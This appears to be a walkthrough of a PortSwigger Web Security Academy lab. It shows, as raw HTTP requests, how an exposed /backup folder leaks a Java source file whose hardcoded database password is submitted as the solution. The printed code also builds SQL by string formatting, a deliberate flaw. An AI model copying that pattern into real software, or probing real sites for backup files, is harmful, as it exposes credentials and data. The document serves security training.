Skip to content

Port Swigger Source code disclosure via backup fil

Source code disclosure via backup files

Solution

Open website: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/product?productId=1

GET /product?productId=1 HTTP/2
Host: 0a7d00c903464aac83523220009a0077.web-security-academy.net
Cookie: session=nXJuvFYWVn7m2ZdprfCvvAldtkXZ142I
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Open website: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/robots.txt

GET /robots.txt HTTP/2
Host: 0a7d00c903464aac83523220009a0077.web-security-academy.net
Cookie: session=nXJuvFYWVn7m2ZdprfCvvAldtkXZ142I
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Open folder /backup: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/backup

GET /backup HTTP/2
Host: 0a7d00c903464aac83523220009a0077.web-security-academy.net
Cookie: session=nXJuvFYWVn7m2ZdprfCvvAldtkXZ142I
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Read backup file from: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/backup/ProductTemplate.java.bak

Found password: jvm1m60w3lrsnnywjtgkagumuvtv63sx
---
GET /backup/ProductTemplate.java.bak HTTP/2
Host: 0a7d00c903464aac83523220009a0077.web-security-academy.net
Cookie: session=nXJuvFYWVn7m2ZdprfCvvAldtkXZ142I
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/backup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "jvm1m60w3lrsnnywjtgkagumuvtv63sx"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

Submit solution

POST /submitSolution HTTP/2
Host: 0a7d00c903464aac83523220009a0077.web-security-academy.net
Cookie: session=nXJuvFYWVn7m2ZdprfCvvAldtkXZ142I
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: https://0a7d00c903464aac83523220009a0077.web-security-academy.net
Referer: https://0a7d00c903464aac83523220009a0077.web-security-academy.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

answer=jvm1m60w3lrsnnywjtgkagumuvtv63sx

Solved